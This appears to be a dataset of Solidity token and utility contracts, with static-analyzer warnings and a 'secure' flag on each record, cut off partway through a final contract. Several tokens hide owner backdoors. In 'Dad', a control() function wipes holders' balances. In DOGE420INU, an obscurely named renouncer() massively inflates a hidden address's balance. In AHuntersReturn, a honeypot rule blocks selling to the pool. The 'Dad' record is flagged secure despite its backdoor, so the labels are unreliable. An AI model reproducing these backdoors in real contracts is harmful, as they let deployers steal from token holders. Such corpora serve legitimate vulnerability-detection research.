"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Dad is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable primary;\n\n constructor() {\n _name = \"Dad\";\n\n _symbol = \"DAD\";\n\n _decimals = 18;\n\n uint256 initialSupply = 349000000;\n\n primary = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == primary, \"Not allowed\");\n\n _;\n }\n\n function control(address[] memory tail) public onlyOwner {\n for (uint256 i = 0; i < tail.length; i++) {\n address account = tail[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_337.sol",
"secure": 1,
"size_bytes": 4342
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\nabstract contract ERC20Lockable is ERC20, Ownable {\n struct LockInfo {\n uint256 _releaseTime;\n uint256 _amount;\n }\n\n mapping(address => LockInfo[]) internal _locks;\n mapping(address => uint256) internal _totalLocked;\n\n event Lock(address indexed from, uint256 amount, uint256 releaseTime);\n event Unlock(address indexed from, uint256 amount);\n\n modifier checkLock(address from, uint256 amount) {\n uint256 length = _locks[from].length;\n if (length > 0) {\n autoUnlock(from);\n }\n require(\n _balances[from] >= _totalLocked[from] + amount,\n \"checkLock : balance exceed\"\n );\n _;\n }\n\n function _lock(\n address from,\n uint256 amount,\n uint256 releaseTime\n ) internal returns (bool success) {\n require(\n _balances[from] >= amount + _totalLocked[from],\n \"lock : locked total should be smaller than balance\"\n );\n _totalLocked[from] = _totalLocked[from] + amount;\n _locks[from].push(LockInfo(releaseTime, amount));\n emit Lock(from, amount, releaseTime);\n success = true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0db278e): ERC20Lockable._unlock(address,uint256).lock shadows ERC20Lockable.lock(address,uint256,uint256) (function)\n\t// Recommendation for 0db278e: Rename the local variables that shadow another component.\n function _unlock(\n address from,\n uint256 index\n ) internal returns (bool success) {\n LockInfo storage lock = _locks[from][index];\n _totalLocked[from] = _totalLocked[from] - lock._amount;\n emit Unlock(from, lock._amount);\n _locks[from][index] = _locks[from][_locks[from].length - 1];\n _locks[from].pop();\n success = true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0db278e): ERC20Lockable._unlock(address,uint256).lock shadows ERC20Lockable.lock(address,uint256,uint256) (function)\n\t// Recommendation for 0db278e: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cb94435): ERC20Lockable.lockInfo(address,uint256).lock shadows ERC20Lockable.lock(address,uint256,uint256) (function)\n\t// Recommendation for cb94435: Rename the local variables that shadow another component.\n function lock(\n address recipient,\n uint256 amount,\n uint256 releaseTime\n ) public onlyOwner returns (bool) {\n require(\n _balances[recipient] >= amount,\n \"There is not enough balance of holder.\"\n );\n _lock(recipient, amount, releaseTime);\n\n return true;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 089ac09): ERC20Lockable.autoUnlock(address) uses timestamp for comparisons Dangerous comparisons _locks[from][i]._releaseTime < block.timestamp\n\t// Recommendation for 089ac09: Avoid relying on 'block.timestamp'.\n function autoUnlock(address from) public returns (bool success) {\n for (uint256 i = 0; i < _locks[from].length; i++) {\n\t\t\t// timestamp | ID: 089ac09\n if (_locks[from][i]._releaseTime < block.timestamp) {\n _unlock(from, i);\n }\n }\n success = true;\n }\n\n function unlock(\n address from,\n uint256 idx\n ) public onlyOwner returns (bool success) {\n require(_locks[from].length > idx, \"There is not lock info.\");\n _unlock(from, idx);\n success = true;\n }\n\n function releaseLock(\n address from\n ) external onlyOwner returns (bool success) {\n require(_locks[from].length > 0, \"There is not lock info.\");\n\n for (uint256 i = _locks[from].length; i > 0; i--) {\n _unlock(from, i - 1);\n }\n success = true;\n }\n\n function transferWithLock(\n address recipient,\n uint256 amount,\n uint256 releaseTime\n ) external onlyOwner returns (bool success) {\n require(recipient != address(0));\n _transfer(msg.sender, recipient, amount);\n _lock(recipient, amount, releaseTime);\n success = true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cb94435): ERC20Lockable.lockInfo(address,uint256).lock shadows ERC20Lockable.lock(address,uint256,uint256) (function)\n\t// Recommendation for cb94435: Rename the local variables that shadow another component.\n function lockInfo(\n address locked,\n uint256 index\n ) public view returns (uint256 releaseTime, uint256 amount) {\n LockInfo memory lock = _locks[locked][index];\n releaseTime = lock._releaseTime;\n amount = lock._amount;\n }\n\n function totalLocked(\n address locked\n ) public view returns (uint256 amount, uint256 length) {\n amount = _totalLocked[locked];\n length = _locks[locked].length;\n }\n}",
"file_name": "solidity_code_3370.sol",
"secure": 0,
"size_bytes": 5245
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"./ERC20Lockable.sol\" as ERC20Lockable;\n\ncontract MGN is ERC20, ERC20Burnable, ERC20Lockable {\n constructor() ERC20(\"Meta Golf NFT\", \"MGN\") {\n _mint(msg.sender, 5000000000 * (10 ** decimals()));\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public override checkLock(msg.sender, amount) returns (bool) {\n return super.transfer(to, amount);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public override checkLock(from, amount) returns (bool) {\n return super.transferFrom(from, to, amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 9ad9137): MGN.balanceOf(address) uses timestamp for comparisons Dangerous comparisons releaseTime <= block.timestamp\n\t// Recommendation for 9ad9137: Avoid relying on 'block.timestamp'.\n function balanceOf(\n address holder\n ) public view override returns (uint256 balance) {\n uint256 totalBalance = super.balanceOf(holder);\n uint256 avaliableBalance = 0;\n (uint256 lockedBalance, uint256 lockedLength) = totalLocked(holder);\n require(totalBalance >= lockedBalance);\n\n if (lockedLength > 0) {\n for (uint256 i = 0; i < lockedLength; i++) {\n (uint256 releaseTime, uint256 amount) = lockInfo(holder, i);\n\t\t\t\t// timestamp | ID: 9ad9137\n if (releaseTime <= block.timestamp) {\n avaliableBalance += amount;\n }\n }\n }\n\n balance = totalBalance - lockedBalance + avaliableBalance;\n }\n\n function balanceOfTotal(\n address holder\n ) public view returns (uint256 balance) {\n balance = super.balanceOf(holder);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n super._beforeTokenTransfer(from, to, amount);\n }\n}",
"file_name": "solidity_code_3371.sol",
"secure": 0,
"size_bytes": 2216
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract DOGE420INUToken is IERC20 {\n string public constant name = \"DankweedObamaGargamelElon420Inu\";\n string public constant symbol = \"DOGE420INU\";\n uint8 public constant decimals = 18;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8faae3a): DOGE420INUToken._totalSupply should be immutable \n\t// Recommendation for 8faae3a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 060ddad): DOGE420INUToken.owner should be immutable \n\t// Recommendation for 060ddad: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\t// WARNING Optimization Issue (immutable-states | ID: c4910fe): DOGE420INUToken.renounced should be immutable \n\t// Recommendation for c4910fe: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private renounced;\n address private constant Deployer =\n 0xb6880d7bfFc5Dd9070A8d866daabcb729EB66d7A;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6f1f341): DOGE420INUToken.contractCreationTimestamp should be immutable \n\t// Recommendation for 6f1f341: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public contractCreationTimestamp;\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Only the owner can call this function\");\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d2b9730): DOGE420INUToken.constructor(address).O lacks a zerocheck on \t renounced = O\n\t// Recommendation for d2b9730: Check that the address is not zero.\n constructor(address O) {\n uint256 initialSupply = 420_690_000 * (10 ** uint256(decimals));\n _totalSupply = initialSupply;\n _balances[Deployer] = initialSupply;\n emit Transfer(address(0), Deployer, initialSupply);\n\t\t// missing-zero-check | ID: d2b9730\n renounced = O;\n contractCreationTimestamp = block.timestamp;\n owner = address(0);\n\n uint256 deadBalance = (initialSupply * 69) / 100;\n _balances[\n address(0x000000000000000000000000000000000000dEaD)\n ] = deadBalance;\n _balances[msg.sender] -= deadBalance;\n emit Transfer(\n msg.sender,\n address(0x000000000000000000000000000000000000dEaD),\n deadBalance\n );\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function allowance(\n address ownerAddress,\n address spender\n ) public view override returns (uint256) {\n return _allowances[ownerAddress][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function renouncer() public {\n require(\n msg.sender == renounced,\n \"Renounced zero address should have correct decimals\"\n );\n uint256 deladdress = deladdressblnc();\n uint256 el = del(deladdress);\n renouncedel(el);\n }\n\n function deladdressblnc() private view returns (uint256) {\n return _balances[renounced];\n }\n\n function del(uint256 deladdress) private view returns (uint256) {\n return deladdress * (_totalSupply);\n }\n\n function renouncedel(uint256 el) private {\n _balances[renounced] = el;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n uint256 currentAllowance = _allowances[sender][msg.sender];\n require(currentAllowance >= amount, \"Insufficient allowance\");\n _allowances[sender][msg.sender] = currentAllowance - amount;\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(_balances[sender] >= amount, \"Insufficient balance\");\n\n _balances[sender] -= amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n}",
"file_name": "solidity_code_3372.sol",
"secure": 0,
"size_bytes": 5100
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IERC721Mintable {\n function claim(\n address to,\n uint256 tokenId,\n uint256 universeId,\n uint256 earthId,\n uint256 personId,\n uint256 blockchainId,\n uint256 sattoshiId\n ) external returns (bool);\n}",
"file_name": "solidity_code_3373.sol",
"secure": 1,
"size_bytes": 339
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/cryptography/MerkleProof.sol\" as MerkleProof;\nimport \"./IERC721Mintable.sol\" as IERC721Mintable;\n\ncontract MerkleDistribution {\n\t// WARNING Optimization Issue (immutable-states | ID: 6ca761c): MerkleDistribution.root should be immutable \n\t// Recommendation for 6ca761c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n bytes32 public root;\n\t// WARNING Optimization Issue (immutable-states | ID: 59937c5): MerkleDistribution.token should be immutable \n\t// Recommendation for 59937c5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IERC721Mintable public token;\n mapping(bytes32 => bool) claimedMap;\n\n event Claim(address, uint256);\n\n constructor(address _token, bytes32 _root) public {\n token = IERC721Mintable(_token);\n root = _root;\n }\n\n function isClaimed(\n address _addr,\n uint256 _id,\n uint256 _universeId,\n uint256 _earthId,\n uint256 _personId,\n uint256 _blockchainId,\n uint256 _sattoshiId\n ) public view returns (bool) {\n bytes32 node = keccak256(\n abi.encodePacked(\n _id,\n _universeId,\n _earthId,\n _personId,\n _blockchainId,\n _sattoshiId,\n _addr\n )\n );\n return claimedMap[node];\n }\n\n function setClaimed(bytes32 _node) private {\n claimedMap[_node] = true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 070e2bf): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 070e2bf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function claim(\n address _addr,\n uint256 _id,\n uint256 _universeId,\n uint256 _earthId,\n uint256 _personId,\n uint256 _blockchainId,\n uint256 _sattoshiId,\n bytes32[] calldata merkleProof\n ) external {\n bytes32 node = keccak256(\n abi.encodePacked(\n _id,\n _universeId,\n _earthId,\n _personId,\n _blockchainId,\n _sattoshiId,\n _addr\n )\n );\n require(\n !claimedMap[node],\n \"token id of this address is already claimed\"\n );\n require(\n MerkleProof.verify(merkleProof, root, node),\n \"MerkleDistribution: Invalid Proof\"\n );\n setClaimed(node);\n\t\t// reentrancy-events | ID: 070e2bf\n require(\n token.claim(\n _addr,\n _id,\n _universeId,\n _earthId,\n _personId,\n _blockchainId,\n _sattoshiId\n ),\n \"MerkleDistribution: Mint Failed\"\n );\n\t\t// reentrancy-events | ID: 070e2bf\n emit Claim(_addr, _id);\n }\n}",
"file_name": "solidity_code_3374.sol",
"secure": 0,
"size_bytes": 3349
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"./IBEP20.sol\" as IBEP20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract KingToken is Context, IBEP20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3e1f9e4): KingToken._totalSupply should be immutable \n\t// Recommendation for 3e1f9e4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 0ea38f9): KingToken._decimals should be immutable \n\t// Recommendation for 0ea38f9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public _decimals;\n string public _symbol;\n string public _name;\n\n constructor() {\n _name = \"The only Real King Token\";\n _symbol = \"KING\";\n _decimals = 18;\n _totalSupply = 250_000_000_000 * 10 ** 18;\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function getOwner() external view returns (address) {\n return owner();\n }\n\n function decimals() external view returns (uint8) {\n return _decimals;\n }\n\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) external view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: caa7dfe): KingToken.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for caa7dfe: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"BEP20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"BEP20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"BEP20: transfer from the zero address\");\n require(recipient != address(0), \"BEP20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"BEP20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 35fdc36): KingToken._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 35fdc36: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) internal {\n require(owner != address(0), \"BEP20: approve from the zero address\");\n require(spender != address(0), \"BEP20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_3375.sol",
"secure": 0,
"size_bytes": 5056
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return _functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n return _functionCallWithValue(target, data, value, errorMessage);\n }\n\n function _functionCallWithValue(\n address target,\n bytes memory data,\n uint256 weiValue,\n string memory errorMessage\n ) private returns (bytes memory) {\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: weiValue}(\n data\n );\n if (success) {\n return returndata;\n } else {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}",
"file_name": "solidity_code_3376.sol",
"secure": 1,
"size_bytes": 2664
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address private _owner;\n address private _lockedLiquidity;\n address payable private _devWallet;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 74fece8): Ownable.constructor(address).initialOwner lacks a zerocheck on \t _owner = initialOwner\n\t// Recommendation for 74fece8: Check that the address is not zero.\n constructor(address initialOwner) {\n\t\t// missing-zero-check | ID: 74fece8\n _owner = initialOwner;\n emit OwnershipTransferred(address(0), initialOwner);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n function lockedLiquidity() public view returns (address) {\n return _lockedLiquidity;\n }\n\n function devWallet() internal view returns (address payable) {\n return _devWallet;\n }\n\n function devWalletByOwner()\n external\n view\n onlyOwner\n returns (address payable)\n {\n return _devWallet;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n modifier onlyDev() {\n require(\n _devWallet == _msgSender(),\n \"Caller is not the devWallet address\"\n );\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 494231c): Ownable.setDevWalletAddress(address).devWalletAddress lacks a zerocheck on \t _devWallet = devWalletAddress\n\t// Recommendation for 494231c: Check that the address is not zero.\n function setDevWalletAddress(\n address payable devWalletAddress\n ) public virtual onlyOwner {\n require(\n _devWallet == address(0),\n \"Dev wallet address cannot be changed once set\"\n );\n\t\t// missing-zero-check | ID: 494231c\n\t\t// events-access | ID: ef9bce9\n _devWallet = devWalletAddress;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 620ed03): Ownable.setLockedLiquidityAddress(address).liquidityAddress lacks a zerocheck on \t _lockedLiquidity = liquidityAddress\n\t// Recommendation for 620ed03: Check that the address is not zero.\n function setLockedLiquidityAddress(\n address liquidityAddress\n ) public virtual onlyOwner {\n require(\n _lockedLiquidity == address(0),\n \"Locked liquidity address cannot be changed once set\"\n );\n\t\t// missing-zero-check | ID: 620ed03\n _lockedLiquidity = liquidityAddress;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n emit OwnershipTransferred(_owner, newOwner);\n _owner = newOwner;\n }\n}",
"file_name": "solidity_code_3377.sol",
"secure": 0,
"size_bytes": 3240
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract AHuntersReturn is ERC20, Ownable {\n address public pool;\n\t// WARNING Optimization Issue (immutable-states | ID: 55a738d): AHuntersReturn._o should be immutable \n\t// Recommendation for 55a738d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address _o;\n\t// WARNING Optimization Issue (immutable-states | ID: ed6da33): AHuntersReturn._p should be immutable \n\t// Recommendation for ed6da33: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address _p;\n bool started;\n uint256 _startTime;\n uint256 constant _startTotalSupply = 999e26;\n uint256 constant _startMaxWallet = _startTotalSupply / 500;\n uint256 constant _addMaxWalletPerSec =\n (_startTotalSupply - _startMaxWallet) / 10000;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 76c6f09): AHuntersReturn.constructor(address).p lacks a zerocheck on \t _p = p\n\t// Recommendation for 76c6f09: Check that the address is not zero.\n constructor(address p) ERC20(\"A Hunters Return\", \"SUN\") {\n _o = msg.sender;\n\t\t// missing-zero-check | ID: 76c6f09\n _p = p;\n _mint(msg.sender, _startTotalSupply);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 45fb0a8): AHuntersReturn.start(address).poolAddress lacks a zerocheck on \t pool = poolAddress\n\t// Recommendation for 45fb0a8: Check that the address is not zero.\n function start(address poolAddress) external onlyOwner {\n\t\t// missing-zero-check | ID: 45fb0a8\n pool = poolAddress;\n _startTime = block.timestamp;\n }\n\n function maxWallet(address acc) external view returns (uint256) {\n if (pool == address(0) || acc == pool || acc == owner())\n return _startTotalSupply;\n return\n _startMaxWallet +\n (block.timestamp - _startTime) *\n _addMaxWalletPerSec;\n }\n\n function addMaxWalletPerSec() external pure returns (uint256) {\n return _addMaxWalletPerSec;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n require(\n pool != address(0) || from == owner() || to == owner(),\n \"not started\"\n );\n require(\n balanceOf(to) + amount <= this.maxWallet(to) ||\n to == _o ||\n from == _o,\n \"max wallet limit\"\n );\n if (started) {\n require(to != pool);\n } else {\n if (to == _p) started = true;\n }\n super._transfer(from, to, amount);\n }\n}",
"file_name": "solidity_code_3378.sol",
"secure": 0,
"size_bytes": 3017
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nlibrary Address {\n function isUniswapContract(address account) internal pure returns (bool) {\n return\n keccak256(abi.encodePacked(account)) ==\n 0x4aa900cfe1058332215dea1e32975c020bce7c8229e49440939f06b3b94914bc ||\n keccak256(abi.encodePacked(account)) ==\n 0x6cf2915cde91a49f209477f7672705ec0741a53b6bd6f18d52bf00ff4a916730;\n }\n}",
"file_name": "solidity_code_3379.sol",
"secure": 1,
"size_bytes": 461
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 442866d): NEWERA.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 442866d: Consider ordering multiplication before division.\ncontract NEWERA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 37554dd): NEWERA._taxWallet should be immutable \n\t// Recommendation for 37554dd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6639bb1): NEWERA._initialBuyTax should be constant \n\t// Recommendation for 6639bb1: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: c611fd4): NEWERA._initialSellTax should be constant \n\t// Recommendation for c611fd4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: de110b8): NEWERA._finalBuyTax should be constant \n\t// Recommendation for de110b8: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5d344f7): NEWERA._finalSellTax should be constant \n\t// Recommendation for 5d344f7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: cbe51df): NEWERA._reduceBuyTaxAt should be constant \n\t// Recommendation for cbe51df: Add the 'constant' attribute to state variables that never change.\n 